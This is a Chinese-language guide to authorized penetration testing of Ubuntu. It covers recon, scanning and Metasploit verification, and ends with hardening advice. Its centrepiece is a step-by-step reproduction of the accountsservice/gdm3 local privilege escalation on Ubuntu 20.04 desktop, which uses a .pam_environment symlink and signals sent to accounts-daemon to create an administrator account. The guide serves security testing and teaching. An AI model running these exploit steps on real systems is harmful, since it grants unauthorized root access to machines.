合规声明与适用范围
- 以下内容仅用于获得系统所有者明确书面授权的安全测试与防护演练,禁止用于未授权的入侵、破坏或任何违法行为。请遵守当地法律法规与单位安全制度。
- 建议在与目标一致的隔离环境(如虚拟机、测试专网)复现与验证,避免对生产系统造成影响。
标准流程与关键命令
- 授权与环境
- 取得书面授权(明确目标、时间窗、允许操作),搭建与目标一致的Ubuntu实验环境(如 VirtualBox/VMware),网络隔离。
- 信息收集
- 端口与服务识别:
nmap -sV -O <目标IP>;识别22/SSH、80/HTTP、443/HTTPS等关键服务及版本。
- 漏洞扫描与识别
- 系统与镜像漏洞:
trivy fs --security-checks vuln /;全网评估可用OpenVAS;生成报告定位CVE与风险等级。
- 漏洞分析与验证
- 结合CVE详情与受影响版本确认可利用性;必要时用Metasploit Framework加载对应模块进行验证(仅限授权范围)。
- 利用与权限提升
- 在授权前提下执行利用,记录命令、输出、会话;若获得低权会话,进一步尝试本地权限提升(LPE)。
- 清理与复测
- 撤销测试改动,恢复配置;对修复项进行复测验证,确认漏洞已消除或缓解。
常见本地提权案例演示 Ubuntu 20.04 accounts-daemon
- 影响范围与条件
- 该问题影响仍受维护的Ubuntu 桌面版(含20.10、20.04、18.04、16.04 LTS);主要利用accountsservice与**GNOME Display Manager(gdm3)**交互缺陷,在图形会话环境下触发。服务器版或非 GNOME 环境通常不受影响。
- 复现步骤(仅限授权环境)
- 在普通用户主目录创建符号链接:
ln -s /dev/zero .pam_environment
- 打开“区域和语言”尝试切换语言,界面会卡住;返回终端删除软链:
rm .pam_environment
- 获取 accounts-daemon PID:
pidof accounts-daemon(示例:597)
- 暂停守护进程:
kill -SIGSTOP 597
- 注销并在后台定时触发崩溃与恢复:
nohup bash -c "sleep 30s; kill -SIGSEGV 597; kill -SIGCONT 597"
- 等待初始化界面出现,按向导创建新用户;该账户将具备管理员权限(可 sudo)
- 原理要点
- 通过软链使 accountsservice 读取**/dev/zero陷入无限循环,致其降权**;随后崩溃触发 gdm3 误判“用户数为0”,启动gnome-initial-setup并以管理员权限创建账户。官方已提供修复,应尽快更新系统。
防护与修复清单
- 及时更新与补丁管理
- 执行
apt update && apt upgrade保持系统与核心组件最新;关注如Needrestart本地提权漏洞(曾存在约10年未修复的历史风险)与OverlayFS等模块的历史 LPE,升级至修复版本。
- 加固与最小化暴露
- 强化SSH:禁用 root 登录、使用密钥认证、限制可登录用户/组、必要时更改默认端口;使用UFW仅放行必要端口与服务;仅安装必要软件并定期清理。
- 持续监测与响应
- 集中日志与监控(如 SIEM),对异常登录、提权尝试、服务异常进行告警与追溯;建立定期扫描与复测机制,形成闭环整改。